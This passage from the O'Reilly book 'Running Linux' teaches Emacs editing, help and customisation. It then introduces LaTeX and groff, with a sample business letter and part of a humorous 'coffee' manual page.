Already we must take the first aside on our tour of Emacs. Literally every command and key within Emacs is customizable. That is, with a "default" Emacs configuration, C-p maps to the internal function previous-line, which moves the cursor (also called "point") to the previous line. However, you can easily rebind different keys to these functions, or write new functions and bind keys to them, and so forth. Unless otherwise stated, the keys we introduce here work for the default Emacs configuration. Later we'll show you how to customize the keys for your own use.

Back to editing: using the arrow keys or one of the equivalents moves the cursor around the current buffer. Just start typing text, and it is inserted at the current cursor location. Pressing the Backspace or Delete key should delete text at the cursor. If it doesn't, we'll show how to fix it in the section "Section 9.2.8, "Tailoring Emacs"" later in this chapter. Now begin to type:

The rain falls on the main plains in Spain.

--**-Emacs: wibble.txt       (Fundamental)----All-----------------------

The keys C-a and C-e move the cursor to the beginning and end of the current line, respectively. C-v moves forward a page; M-v moves back a page. There are many more basic editing commands, but we'll allow the Emacs online documentation (discussed shortly) to fill those in.

In order to get out of Emacs, use the command C-x C-c. This is the first of the extended commands we've seen; many Emacs commands require several keys. C-x alone is a "prefix" to other keys. In this case, pressing C-x followed by C-c quits Emacs, first asking for confirmation if you want to quit without saving changes to the buffer.

You can use C-x C-s to save the current file, and C-x C-f to "find" another file to edit. For example, typing C-x C-f presents you with a prompt such as:

Find file: /home/loomer/mdw/
where the current directory is displayed. After this, type the name of the file to find. Pressing the Tab key will do filename completion similar to that used in bash and tcsh. For example, entering:
Find file: /home/loomer/mdw/.bash
and pressing Tab opens another buffer, showing all possible completions, as so:
Possible completions are:
.bash_profile                      .bashrc

--**-Emacs: *Completions*     (Fundamental)----All----------------------

After you complete the filename, the *Completions* buffer goes away and the new file is displayed for editing. This is one example of how Emacs uses temporary buffers to present information.

Emacs allows you to use multiple buffers when editing text; each buffer may contain a different file you're editing. When you load a file with C-x C-f, a new buffer is created to edit the file, but the original buffer isn't deleted.

You can switch to another buffer using the C-x b command, which asks you for the name of the buffer (usually the name of the file within the buffer). For example, pressing C-x b presents the prompt:

Switch to buffer: (default wibble.txt)
The default buffer is the previous one visited. Press Enter to switch to the default buffer, or type another buffer name. Using C-x C-b will present a buffer list (in a buffer of its own), as so:
 MR Buffer        Size   Mode        File
 -- ------        ----   ----        ----
.   wibble.txt     44    Fundamental /home/loomer/mdw/wibble.txt
    .bashrc        1763  Fundamental /home/loomer/mdw/.bashrc
    *scratch*      0     Lisp Interaction
 *  *Buffer List*  265   Buffer Menu

Popping up the buffer menu splits the Emacs screen into two "windows," which you can switch between using C-x o. More than two concurrent windows are possible as well. In order to view just one window at a time, switch to the appropriate one and press C-x 1. This hides all of the other windows, but you can switch to them later using the C-x b command just described. Using C-x k actually deletes a buffer from Emacs's memory.

9.2.3. Tutorial and Online Help

Already Emacs looks a bit complex; that is simply because it's such a flexible system. Before we go any further, it is instructive to introduce Emacs's built-in online help and tutorial. This documentation has also been published in book form.

Using the C-h command gives you a list of help options on the last line of the display. Pressing C-h again describes what they are. In particular, C-h followed by t drops you into the Emacs tutorial. It should be self-explanatory, and an interactive tutorial about Emacs tells you more about the system than we can hope to cover here.

After going through the Emacs tutorial you should get accustomed to the Info system, where the rest of the Emacs documentation resides. C-h followed by i enters the Info reader. A mythical Info page might look like this:

File: intercal.info,  Node: Top,  Next: Instructions,  Up: (dir)

   This file documents the Intercal interpreter for Linux.

   * Menu:

   * Instructions::        How to read this manual.
   * Overview::            Preliminary information.
   * Examples::            Example Intercal programs and bugs.
   * Concept Index::       Index of concepts.

As you see, text is presented along with a menu to other "nodes." Pressing m and then entering a node name from the menu will allow you to read that note. You can read nodes sequentially by pressing the space bar, which jumps to the next node in the document (indicated by the information line at the top of the buffer). Here, the next node is Instructions, which is the first node in the menu.

Each node also has a link to the parent node (Up), which here is (dir), meaning the Info page directory. Pressing u takes you to the parent node. In addition, each node has a link to the previous node, if it exists (in this case, it does not). The p command moves to the previous node. The l command returns you to the node most recently visited.

Within the Info reader, pressing ? gives you a list of commands and pressing h presents you with a short tutorial on using the system. Since you're running Info within Emacs, you can use Emacs commands as well (such as C-x b to switch to another buffer).

If you think that the Info system is arcane and obsolete, please keep in my mind that it was designed to work on all kinds of systems, including those lacking graphics or powerful processing capabilities.

Other online help is available within Emacs. Pressing C-h C-h gives you a list of help options. One of these is C-h k, after which you press a key, and documentation about the function that is bound to that key appears.

9.2.4. Deleting, Copying, and Moving Text

There are various ways to move and duplicate blocks of text within Emacs. These methods involve use of the mark, which is simply a "remembered" cursor location you can set using various commands. The block of text between the current cursor location (point) and the mark is called the region.

The mark can be set using the key C-@ (or C-Space on most systems). Moving the cursor to a location and pressing C-@ sets the mark at that position. You can now move the cursor to another location within the document, and the region is defined as the text between mark and point.

Many Emacs commands operate on the region. The most important of these commands deal with deleting and yanking text. The command C-w deletes the current region and saves it in the kill ring. The kill ring is a list of text blocks that have been deleted. You can then paste (yank) the text at another location, using the C-y command. (Note that the semantics of the term yank differ between vi and Emacs. In vi, "yanking" text is equivalent to adding it to the undo register without deleting it, while in Emacs, "yank" means to paste text.) Using the kill ring, you can paste not only the most recently deleted block of text but also blocks of text that were deleted previously.

For example, type the following text into an Emacs buffer:

The rain falls on the main plains in Spain.
Here is a line that we wish to move.
She sells Bourne shells by the sea shore.

--**-Emacs: wibble.txt           (Fundamental)----All-------------------

Now, move the cursor to the beginning of the second line ("Here is a line…"), and set the mark with C-@. Move to the end of the line (with C-e), and delete the region, using C-w. The buffer should now look like the following:

The rain falls on the main plains in Spain.

She sells Bourne shells by the sea shore.

--**-Emacs: wibble.txt           (Fundamental)----All-------------------

In order to yank the text just deleted, move the cursor to the end of the buffer, and press C-y. The line should be pasted at the new location:

The rain falls on the main plains in Spain.

She sells Bourne shells by the sea shore.
Here is a line that we wish to move.

--**-Emacs: wibble.txt           (Fundamental)----All-------------------

Pressing C-y repeatedly will insert the text multiple times.

You can copy text in a similar fashion. Using M-w instead of C-w will copy the region into the kill ring without deleting it. (Remember that M- means holding down the Alt key or pressing Esc before the w.)

Text that is deleted using other kill commands, such as C-k, is also added to the kill ring. This means that you don't need to set the mark and use C-w to move a block of text; any deletion command will do.

In order to recover previously deleted blocks of text (which are saved on the kill ring), use the command M-y after yanking with C-y. M-y replaces the yanked text with the previous block from the kill ring. Pressing M-y repeatedly cycles through the contents of the kill ring. This feature is useful if you wish to move or copy multiple blocks of text.

Emacs also provides a more general register mechanism, similar to that found in vi. Among other things, you can use this feature to save text you want to paste in later. A register has a one-character name; let's use a for this example:

  1. At the beginning of the text you want to save, set the mark by pressing the Control key and space bar together (or if that doesn't work, press C-@).

  2. Move point (the cursor) to the end of the region you want to save.

  3. Press C-x x followed by the name of the register (a in this case).

  4. When you want to paste the text somewhere, press C-x g followed by the name of the register, a.

9.2.5. Searching and Replacing

The most common way to search for a string within Emacs is to press C-s. This starts what is called an incremental search. You then start entering the characters you are looking for. Each time you press a character, Emacs searches forward for a string matching everything you've typed so far. If you make a mistake, just press the Delete key and continue typing the right characters. If the string cannot be found, Emacs beeps. If you find an occurrence, but you want to keep searching for another one, press C-s again.

You can also search backward this way using the C-r key. Several other types of searches exist, including a regular expression search that you can invoke by pressing M-C-s. This lets you search for something like jo.*n, which matches names like John, Joan, and Johann. (By default, searches are not case sensitive.)

To replace a string, enter M-%. You are prompted for the string that is currently in the buffer, and then the one you want to replace it with. Emacs displays each place in the buffer where the string is and asks you if you want to replace this occurrence. Press the space bar to replace the string, the Delete key to skip this string, or a period to stop the search.

If you know you want to replace all occurrences of a string that follow your current place in the buffer, without being queried for each one, enter M-x string. (The M-x key allows you to enter the name of an Emacs function and execute it, without use of a key binding. Many Emacs functions are available only via M-x, unless you bind them to keys yourself.) A regular expression can be replaced by entering M-x regexp.

9.2.6. Macros

The name Emacs comes partly from "macros," and in fact they are a simple but powerful feature that makes Emacs a pleasure to use. If you plan on doing anything frequently and repetitively, just press C-x (, perform the operation once, and then press C-x ). The two C-x commands with the opening and closing parentheses remember all the keys you pressed. Then you can execute the commands over and over again by pressing C-x e.

Here's a trivial example you can try on any text file; it capitalizes the first word of each line.

  1. Press C-x ( to begin the macro.

  2. Press C-a to put point at the beginning of the current line. It's important to know where you are each time a macro executes. By pressing C-a you are making sure the macro will always go to the beginning of the line, which is where you want to be.

  3. Press M-c to make the first letter of the first word a capital letter.

  4. Press C-a again to return to the beginning of the line and C-n or the down arrow to go to the beginning of the following line. This ensures that the macro will start execution at the right place next time.

  5. Press C-x ) to end the macro.

  6. Press C-x e repeatedly to capitalize the following lines. Or press C-u several times, followed by C-x e. The repeated uses of C-u are prefix keys, causing the following command to execute many times. If you get to the end of the document while the macro is still executing, no harm is done; Emacs just beeps and stops executing the macro.

9.2.7. Running Commands and Programming Within Emacs

Emacs provides interfaces for many programs, which you can run within an Emacs buffer. For example, Emacs modes exist for reading and sending electronic mail, reading Usenet news, compiling programs, and interacting with the shell. In this section, we'll introduce some of these features.

To send electronic mail from within Emacs, press C-x m. This opens up a buffer that allows you to compose and send an email message:

To:
Subject:
--text follows this line--

-----Emacs: *mail*               (Mail)----All--------------------------

Simply enter your message within this buffer and use C-c C-s to send it. You can also insert text from other buffers, extend the interface with your own Emacs LISP functions, and so on.

RMAIL is Emacs's interface for reading electronic mail. Many users prefer it to other mail readers, because Emacs can be used directly as the editor for both sending and reading mail. To start RMAIL, use the command M-x rmail.

When you run RMAIL, Emacs converts messages in your incoming mailbox to a special format it uses to keep track of messages, and mail will be moved to the file RMAIL in your home directory. Therefore, be careful! Your incoming mail file will be converted to RMAIL format, and to convert it back (in case you don't want to use RMAIL as your mail reader), you need to use the M-x unrmail function.

When you start RMAIL, a buffer is created, displaying the first message in your inbox. The n and p commands can be used to display the previous and next messages. (As with all Emacs modes, using C-h m gives you a summary of the available keys.) While you're viewing a message, the r key replies to that message, opening a mail buffer (as described earlier) with the header fields initialized. While in the mail buffer you can use C-c C-y to insert the original message.

Within RMAIL, the h command displays a summary of the messages in your mailbox:

  11  17-Feb                johnsonm@metalab  Re: Which release?
  12  25-Feb                             schar  Vision Group meeting
  13  26-Feb                 okir@monad.swb.de  Re: Spaces in .ms?
  14  26-Feb           wirzeniu@cc.helsinki.fi  Re: LDP
--%%-Emacs: RMAIL-summary    (RMAIL Summary)----50%---------------------

Several M-x commands are available in summary mode for sorting the list, and so forth. RMAIL commands such as n, p, and r may be used as well.

Similar to the RMAIL mail interface is GNUS, the Emacs-based newsreader, which you can start with the M-x gnus command. After startup (and a bit of chewing on your .newsrc file), a list of newsgroups will be presented, along with a count of unread articles for each:

     10: comp.os.linux.development
      0: cucs.system
     32: alt.fan.warlord
    195: alt.folklore.urban
--- GNUS: List of Newsgroups    (Newsgroup {cloyd.cs})--6%--------------

Using the arrow keys, you can select a newsgroup to read. Press the space bar to begin reading articles from that group. Two buffers will be displayed, one containing a list of articles and the other displaying the current article. Using n and p moves to the next and previous articles, f and F follows up to the current article (either with or without including the current article), and r and R replies to the article via electronic mail. There are many other GNUS commands; use C-h m for a list. If you're used to a newsreader such as rn, GNUS will be somewhat familiar.

Emacs provides a number of modes for editing various types of files. For example, there is C mode for editing C source code, and TeX mode for editing (surprise) TeX source. Each of these modes boast features that make editing the appropriate type of file easier.

For example, within C mode, you can use the command M-x compile, which, by default, runs make -k in the current directory and redirect errors to another buffer. For example, the compilation buffer may contain:

cd /home/loomer/mdw/pgmseq/
make -k
gcc -O -O2 -I. -I../include -c stream_load.c -o stream_load.o
stream_load.c:217: syntax error before `struct'
stream_load.c:217: parse error before `struct'
You can move the cursor to a line containing an error message, press C-c C-c, and the cursor will jump to that line in the corresponding source buffer (opening a buffer for the appropriate source file if one does not already exist). Now you can edit and compile programs entirely within Emacs.

Emacs also provides a complete interface to the gdb debugger, which is described in the section "Section 14.1.6.3, "Using Emacs with gdb"" in Chapter 14, "Tools for Programmers".

Usually, Emacs selects the appropriate mode for the buffer based on the filename extension. For example, editing a file with the extension .c in the filename automatically selects C mode for that buffer.

Shell mode is one of the most popular Emacs extensions. Shell mode allows you to interact with the shell in an Emacs buffer, using the command M-x shell. Editing shell command lines and using command history can be done with standard Emacs commands. You can also run single shell commands from Emacs using M-!. If you use M-| instead, the contents of the current region is piped to the given shell command as standard input. This is a general interface for running subprograms from within Emacs.

9.2.8. Tailoring Emacs

The Emacs online documentation should be sufficient to get you on track to learning more about the system and growing accustomed to it. However, sometimes it is hard to locate some of the most helpful hints for getting started. Here we'll present a run-down on certain customization options many Emacs users choose to employ to make life easier.

The Emacs personal customization file is .emacs, which should reside in your home directory. This file should contain code, written in Emacs LISP, which runs or defines functions to customize your Emacs environment. (If you've never written LISP before, don't worry; most customizations using it are quite simple.)

One of the most common things users customize are key bindings. For instance, if you use Emacs to read your mail, you can bind the key C-c r to execute the rmail function. Put this in your .emacs file:

; Provide quick way to read mail.
(global-set-key "\C-cr" 'rmail)

Comments in Emacs LISP start with a semicolon. The command that follows runs the command global-set-key. Now you don't have to type in the long sequence M-x rmail every time you get that little message "Mail" in your mode line. Just press the two characters C-c r. This works anywhere in Emacs--no matter what mode your buffer is in--because it is global.

A customization that you might want to use is making the text mode the default mode and turning on the "auto-fill" minor mode (which makes text automatically wrap if it is too long for one line) like this:

; Make text mode the default, with auto-fill
(setq default-major-mode 'text-mode)
(add-hook 'text-mode-hook 'turn-on-auto-fill)

You don't always want your key mappings to be global. As you use TeX mode, C mode, and other modes defined by Emacs, you'll find useful things you'd like to do only in a single mode. Here, we define a simple LISP function to insert some characters into C code, and then bind the function to a key for our convenience:

(defun start-if-block()
  (interactive)
  (insert "if () {\n}\n")
  (backward-char 6)
)

We start the function by declaring it "interactive" so that we can invoke it (otherwise, it would be used only internally by other functions). Then we use the insert function to put the following characters into our C buffer:

if () {
}

Strings in Emacs can contain standard C escape characters. Here we've used \n for a newline.

Now we have a template for an if block. To put on the ribbon and the bow, our function also moves backward six characters so that point is within the parentheses, and we can immediately start typing an expression.

Our whole goal was to make it easy to insert these characters, so now let's bind our function to a key:

(define-key c-mode-map "\C-ci" 'start-if-block)

The define-key function binds a key to a function. By specifying c-mode-map, we indicate that the key works only in C mode. There is also a tex-mode-map for TeX mode, a lisp-mode-map that you will want to know about if you play with your .emacs file a lot, and so on.

If you're interested in writing your own Emacs LISP functions, you should read the Info pages for elisp, which should be available on your system.

Now here's an important customization you may need. On many terminals the Backspace key sends the character C-h, which is the Emacs help key. To fix this, you should change the internal table Emacs uses to interpret keys as follows:

(keyboard-translate ?\C-h ?\C-?)
Pretty cryptic code. \C-h is recognizable as the Control key pressed with h, which happens to produce the same ASCII code (8) as the Backspace key. \C-? represents the Delete key (ASCII code 127). Don't confuse this question mark with the question marks that precede each backslash. ?\C-h means "the ASCII code corresponding to \C-h." You could just as well specify 8 directly.

So now, both Backspace and C-h will delete. You've lost your help key. Therefore, another good customization would be to bind another key to C-h. Let's use C-\, which isn't used often for anything else. You have to double the backslash when you specify it as a key:

(keyboard-translate ?\C-\\ ?\C-h)

On the X Window System, there is a way to change the code sent by your Backspace key using the xmodmap command, but we'll have to leave it up to you to do your own research. It is not a completely portable solution (so we can't show you an example guaranteed to work), and it may be too sweeping for your taste (it also changes the meaning of the Backspace key in your xterm shell and everywhere else).

There are other key bindings you may want to use. For example, you may prefer to use the keys C-f and C-b to scroll forward (or backward) a page at a time, as in vi. In your .emacs file you might include the following lines:

(global-set-key "\C-f" 'scroll-up)
(global-set-key "\C-b" 'scroll-down)
Again, we have to issue a caveat: be careful not to redefine keys that have other important uses. (One way to find out is to use C-h k to tell you what a key does in the current mode. You should also consider that the key may have definitions in other modes.) In particular, you'll lose access to a lot of functions if you rebind the prefix keys that start commands, such as C-x and C-c.

You can create your own prefix keys, if you really want to extend your current mode with lots of new commands. Use something like:

(global-unset-key "\C-d")
(global-set-key "\C-d\C-f" 'my-function)
First, we must unbind the C-d key (which simply deletes the character under the cursor), in order to use it as a prefix for other keys. Now, pressing C-d C-f will execute my-function.

You may also prefer to use another mode besides Fundamental or Text for editing "vanilla" files. Indented Text mode, for example, automatically indents lines of text relative to the previous line (as with the :set ai function in vi). To turn on this mode by default, use:

; Default mode for editing text
(setq default-major-mode 'indented-text-mode)
You should also rebind the Enter key to indent the next line of text:
(define-key indented-text-mode-map "\C-m" 'newline-and-indent)

Emacs also provides "minor" modes, which are modes you use along with major modes. For example, Overwrite mode is a minor mode that causes text to overwrite that in the buffer, instead of inserting it. To bind the key C-r to toggle overwrite mode, use the command:

; Toggle overwrite mode.
(global-set-key "\C-r" 'overwrite-mode)
Another minor mode is Autofill, which automatically wraps lines as you type them. That is, instead of pressing the Enter key at the end of each line of text, you may continue typing and Emacs automatically breaks the line for you. To enable Autofill mode, use the commands:
(setq text-mode-hook 'turn-on-auto-fill)
(setq fill-column 72)
This turns on Autofill mode whenever you enter Text mode (through the text-mode-hook function). It also sets the point at which to break lines at 72 characters.

Previous | Home | Next
9. Editors, Text Tools, Graphics, and Printing | Book Index | 9.3. Text and Document Processing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Text and Document Processing (Running Linux)

 Running LinuxSearch this book
Previous Next

9.3. Text and Document Processing

In the first chapter, we briefly mentioned various text processing systems available for Linux and how they differ from word processing systems that you may be familiar with. While most word processors allow the user to enter text in a WYSISYG environment, text processing systems have the user enter source text using a text-formatting language, which can be modified with any text editor. (In fact, Emacs provides special modes for editing various types of text-formatting languages.) Then, the source is processed into a printable (or viewable) document using the text processor itself. Finally, you process the output and send it to a file or to a viewer application for display, or you hand it off to a printer daemon to queue for printing to a local or remote device.

In this section, we'll talk first about three of the most popular text processing systems for Linux: TeX, groff, and Texinfo. At the end, we include a discussion about the available options if you would rather like to use a WYSIMWYG (what-you-see-is-maybe-what-you-get) word processor like those that predominate on Windows and Macintosh.

9.3.1. TeX and LaTeX

TeX is a professional text-processing system for all kinds of documents, articles, and books--especially those that contain a great deal of mathematics. It is a somewhat "low-level" text-processing language, because it describes to the system how to lay out text on the page, how it should be spaced, and so on. TeX doesn't concern itself directly with higher-level elements of text such as chapters, sections, footnotes, and so forth (those things that you, the writer, care about the most). For this reason, TeX is known as a functional text-formatting language (referring to the actual physical layout of text on a page) rather than a logical one (referring to logical elements, such as chapters and sections). TeX was designed by Donald E. Knuth, one of the world's foremost experts in programming. One of Knuth's motives for developing TeX was to produce a typesetting system powerful enough to handle the mathematics formatting needs for his series of computer science textbooks. Knuth ended up taking an eight-year detour to finish TeX; most would agree the result was well worth the wait.

Of course, TeX is very extensible, and it is possible to write macros for TeX that allow writers to concern themselves primarily with the logical, rather then the physical, format of the document. In fact, a number of such macro packages have been developed--the most popular of which is LaTeX, a set of extensions for TeX designed by Leslie Lamport. LaTeX commands are concerned mostly with logical structure, but because LaTeX is just a set of macros on top of TeX, you can use plain TeX commands as well. LaTeX greatly simplifies the use of TeX, hiding most of the low-level functional features from the writer.

In order to write well-structured documents using TeX, you would either have to decide on a prebuilt macro package, such as LaTeX, or develop your own (or use a combination of the two). In The TeXbook, Knuth presents his own set of macros that he used for production of the book. As you might expect, they include commands for beginning new chapters, sections, and the like--somewhat similar to their LaTeX counterparts. In this section, we'll concentrate on the use of LaTeX, which provides support for many types of documents: technical articles, manuals, books, letters, and so on. As with plain TeX, LaTeX is extensible as well.

9.3.1.1. Learning the ropes

If you're never used a text-formatting system before, there are a number of new concepts you should be aware of. As we said, text processing systems start with a source document, which you enter with a plain-text editor, such as Emacs. The source is written in a text-formatting language, which includes the text you wish to appear in your document, as well as commands that tell the text processor how to format it. In the first chapter we gave a simple example of what the LaTeX language looks like and what kind of output it produces.

So, without further ado, let's dive in and see how to write a simple document, and format it, from start to finish. As a demonstration, we'll show how to use LaTeX to write a short business letter. Sit down at your favorite text editor, and enter the following text into a file (without the line numbers, of course). Call it letter.tex:

1  \documentclass{letter}
2  \address{755 Chmod Way \\ Apt 0x7F \\
3           Pipeline, N.M. 09915}
4  \signature{Boomer Petway}
5
6  \begin{document}
7  \begin{letter}{O'Reilly and Associates, Inc. \\
8                 103 Morris Street Suite A \\
9                 Sebastopol, C.A. 95472}
10
11 \opening{Dear Mr. O'Reilly,}
12
13 I would like to comment on the \LaTeX\ example as presented in
14 Chapter~9 of {\em Running Linux}. Although it was a valiant effort,
15 I find that the example falls somewhat short of what
16 one might expect in a discussion of text-formatting systems.
17 In a future edition of the book, I suggest that you replace
18 the example with one that is more instructive.
19
20 \closing{Thank you,}
21
22 \end{letter}
23 \end{document}
This is a complete LaTeX document for the business letter that we wish to send. As you can see, it contains the actual text of the letter, with a number of commands (using backslashes and braces) thrown in. Let's walk through it.

Line 1 uses the documentclass command to specify the class of document that we're producing (which is a letter). Commands in LaTeX begin with a backslash and are followed by the actual command name, which is in this case documentclass. Following the command name are any arguments, enclosed in braces. LaTeX supports several document classes, such as article, report, and book, and you can define your own. Specifying the document class defines global macros for use within the TeX document, such as the address and signature commands used on lines 2-4. As you might guess, the address and signature commands specify your own address and name in the letter. The double-backslashes (\\) that appear in the address generate line breaks in the resulting output of the address.

A word about how LaTeX processes input: as with most text formatting systems, whitespace, line breaks, and other such features in the input source are not passed literally into the output. Therefore, you can break lines more or less wherever you please; when formatting paragraphs, LaTeX will fit the lines back together again. Of course, there are exceptions: blank lines in the input begin new paragraphs, and there are commands to force LaTeX to treat the source text literally.

On line 6, the command \begin{document} is used to signify the beginning of the document as a whole. Everything enclosed within the \begin{document} and \end{document} on line 22 is considered part of the text to be formatted; anything before \begin{document} is called the preamble and defines formatting parameters before the actual body.

On lines 7-9, \begin{letter} begins the actual letter. This is required because you may have many letters within a single source file, and a \begin{letter} is needed for each. This command takes as an argument the address of the intended recipient; as with the address command, double-backslashes signify line breaks in the address.

Line 11 uses the opening command to open the letter. Following on lines 12-18 is the actual body of the letter. As straightforward as it may seem, there are a few tricks hidden in the body as well. On line 13 the LaTeX command generates the LaTeX logo. You'll notice that a backslash follows the LaTeX command as well as preceding it; the trailing backslash is used to force a space after the word "LaTeX." This is because TeX ignores spaces after command invocations; the command must be followed by a backslash and a space. (Otherwise, "LaTeX is fun" would appear as "LaTeXis fun.")

There are two quirks of note on line 14. First of all, there is a tilde (~) present between Chapter and 9, which causes a space to appear between the two words, but prevents a line break between them in the output (that is, to prevent Chapter from being on the end of a line, and 9 to be on the beginning of the next). You need only use the tilde to generate a space between two words that should be stuck together on the same line, as in Chapter~9 and Mr.~Jones. (In retrospect, we could have used the tilde in the \begin{letter} and opening commands, although it's doubtful TeX would break a line anywhere within the address or the opening.)

The second thing to take note of on line 14 is the use of \em to generate emphasized text in the output. LaTeX supports various other fonts, including boldface (\bf), and typewriter (\tt).

Line 19 uses the closing command to close off the letter. This also has the effect of appending the signature used on line 4 after the closing in the output. Lines 21-22 use the commands \end{letter} and \end{document} to end the letter and document environments begun on lines 6 and 7.

You'll notice that none of the commands in the LaTeX source has anything to do with setting up margins, line spacing, or other functional issues of text formatting. That's all taken care of by the LaTeX macros on top of the TeX engine. LaTeX provides reasonable defaults for these parameters; if you wanted to change any of these formatting options, you could use other LaTeX commands (or lower-level TeX commands) to modify them.

We don't expect you to understand all of the intricacies of using LaTeX from such a limited example, although this should give you an idea of how a living, breathing LaTeX document looks. Now, let's format the document in order to print it out.

9.3.1.2. Formatting and printing

Believe it or not, the command used to format LaTeX source files into something printable is latex. After editing and saving the previous example, letter.tex, you should be able to use the command:

eggplant$ latex letter
This is TeX, Version 3.14159 (C version 6.1)
(letter.tex
LaTeX2e <1996/12/01>
Babel <v3.6h> and hyphenation patterns for american, german, loaded.
(/usr/lib/teTeX/texmf/tex/latex/base/letter.cls
Document Class: letter 1997/01/07 v1.2w Standard LaTeX document class
(/usr/lib/teTeX/texmf/tex/latex/base/size10.clo))
No file letter.aux.
[1] (letter.aux) )
Output written on letter.dvi (1 page, 1128 bytes).
Transcript written on letter.log.
eggplant$
latex assumes the extension .tex for source files. Here, LaTeX has processed the source letter.tex and saved the results in the file letter.dvi. This is a "device-independent" file that generates printable output on a variety of printers. Various tools exist for converting .dvi files to PostScript, HP LaserJet, and other formats, as we'll see shortly.

Instead of immediately printing your letter, you may wish to preview it to be sure that everything looks right. If you're running the X Window System, you can use the xdvi command to preview .dvi files on your screen. What about printing the letter? First, you need to convert the .dvi to something your printer can handle. dvi drivers exist for many printer types. Almost all the program names begin with the three characters dvi, as in dvips, dvilj, and so forth. If your system doesn't have one you need, you have to get the appropriate driver from the TeX archives if you have Internet access. See the FAQ for comp.text.tex for details.

If you're lucky enough to have a PostScript printer, you can use dvips to generate PostScript from the .dvi:

eggplant$ dvips -o letter.ps letter.dvi
You can then print the PostScript using lpr. Or, to do this in one step:
eggplant$ dvips letter.dvi | lpr

In addition, dvilj will print .dvi files on HP LaserJet printers, and eps will print .dvi files on Epson-compatible printers.

If you can't find a DVI driver for your printer, you might be able to use Ghostscript to convert PostScript (produced by dvips) into something you can print. Although some of Ghostscript's fonts are less than optimal, it does allow you to use Adobe fonts (which you can obtain for MS-DOS and use with Ghostscript under Linux). Ghostscript also provides an SVGA preview mode you can use if you're not running X. At any rate, after you manage to format and print the example letter, it should end up looking something like that in Figure 9-1.

Figure 9-1. Sample output from a LaTeX file

9.3.1.3. Further reading

If LaTeX seems right for your document-processing needs, and you have been able to get at least this initial example working and printed out, we suggest checking into Leslie Lamport's LaTeX User's Guide and Reference Manual, which includes everything you need to know about LaTeX for formatting letters, articles, books, and more. If you're interested in hacking or want to know more about the underlying workings of TeX (which can be invaluable), Donald Knuth's The TeXbook is the definitive guide to the system.

comp.text.tex is the Usenet newsgroup for questions and information about these systems, although information found there assumes you have access to TeX and LaTeX documentation of some kind, such as the manuals mentioned earlier.

9.3.2. groff

Parallel to TeX, growing independently, were troff and nroff, two text processing systems developed at Bell Labs for the original implementation of Unix (in fact, the development of Unix was spurred, in part, to support such a text-processing system). The first version of this text processor was called roff (for "runoff"); later came nroff and troff, which generated output for a particular typesetter in use at the time (nroff was written for fixed-pitch printers (such as dot matrix printers), troff for proportional space devices--initially typesetters). Later versions of nroff and troff became the standard text processor on Unix systems everywhere. groff is GNU's implementation of nroff and troff that is used on Linux systems. It includes several extended features and drivers for a number of printing devices.

groff is capable of producing documents, articles, and books, much in the same vein as TeX. However, groff (as well as the original nroff ) has one intrinsic feature that is absent from TeX and variants: the ability to produce plain-ASCII output. While TeX is great for producing documents to be printed, groff is able to produce plain ASCII to be viewed online (or printed directly as plain text on even the simplest of printers). If you're going to be producing documentation to be viewed online as well as in printed form, groff may be the way to go (although there are other alternatives as well--Texinfo, which is discussed later, is one).

groff also has the benefit of being much smaller than TeX; it requires fewer support files and executables than even a minimal TeX distribution.

One special application of groff is to format Unix manual pages. If you're a Unix programmer, you'll eventually need to write and produce manual pages of some kind. In this section, we'll introduce the use of groff through the writing of a short manual page.

As with TeX, groff uses a particular text-formatting language to describe how to process the text. This language is slightly more cryptic than TeX but is also less verbose. In addition, groff provides several macro packages that are used on top of the basic groff formatter; these macro packages are tailored to a particular type of document. For example, the mgs macros are an ideal choice for writing articles and papers, while the man macros are used for manual pages.

9.3.2.1. Writing a manual page

Writing manual pages with groff is actually quite simple. In order for your manual page to look like other manual pages, you need to follow several conventions in the source, which are presented in the following example. In this example, we'll write a manual page for a mythical command coffee, which controls your networked coffee machine in various ways.

Enter the following source with your text editor, and save the result as coffee.man:

1  .TH COFFEE 1 "23 March 94"
2  .SH NAME
3  coffee \- Control remote coffee machine
4  .SH SYNOPSIS
5  \fBcoffee\fP [ -h | -b ] [ -t \fItype\fP ] \fIamount\fP
6  .SH DESCRIPTION
7  \fIcoffee\fP queues a request to the remote coffee machine at the
8  device \fB/dev/cf0\fR. The required \fIamount\fP argument specifies
9  the number of cups, generally between 0 and 15 on ISO standard
10 coffee machines.
11 .SS Options
12 .TP
13 \fB-h\fP
14 Brew hot coffee. Cold is the default.
15 .TP
16 \fB-b\fP
17 Burn coffee. Especially useful when executing \fIcoffee\fP on behalf
18 of your boss.
19 .TP
20 \fB-t \fItype\fR
21 Specify the type of coffee to brew, where \fItype\fP is one of
22 \fBcolombian\fP, \fBregular\fP, or \fBdecaf\fP.
23 .SH FILES
24 .TP
25 \fI/dev/cf0\fR
26 The remote coffee machine device
27 .SH "SEE ALSO"
28 milk(5), sugar(5)
29 .SH BUGS
30 May require human intervention if coffee supply is exhausted.
Don't let the amount of obscurity in this source file frighten you. It helps to know that the character sequences \fB, \fI, and \fR are used to change the font to boldface, italics, and roman type, respectively. \fP resets the font to the one previously selected.

Other groff requests appear on lines beginning with a dot (.). On line 1, we see that the .TH request sets the title of the manual page to COFFEE and the manual section to 1. (Manual section 1 is used for user commands, section 2 for system calls, and so forth.) The .TH request also sets the date of the last manual page revision.

On line 2, the .SH request starts a section entitled NAME. Note that almost all Unix manual pages use the section progression NAME, SYNOPSIS, DESCRIPTION, FILES, SEE ALSO, NOTES, AUTHOR, and BUGS, with extra optional sections as needed. This is just a convention used when writing manual pages and isn't enforced by the software at all.

Line 3 gives the name of the command and a short description, after a dash (\-). You should use this format for the NAME section so that your manual page can be added to the whatis database used by the man -k and apropos commands.

On lines 4-5, we give the synopsis of the command syntax for coffee. Note that italic type \fI…\fP is used to denote parameters on the command line, and that optional arguments are enclosed in square brackets.

Lines 6-10 give a brief description of the command. Italic type generally denotes commands, filenames, and user options. On line 11, a subsection named Options is started with the .SS request. Following this on lines 11-22 is a list of options, presented using a tagged list. Each item in the tagged list is marked with the .TP request; the line after .TP is the tag, after which follows the item text itself. For example, the source on lines 12-14:

.TP
\fB-h\fP
Brew hot coffee. Cold is the default.
will appear as the following in the output:
-h      Brew hot coffee. Cold is the default.
You should document each command-line option for your program in this way.

Lines 23-26 make up the FILES section of the manual page, which describes any files the command might use to do its work. A tagged list using the .TP request is used for this as well.

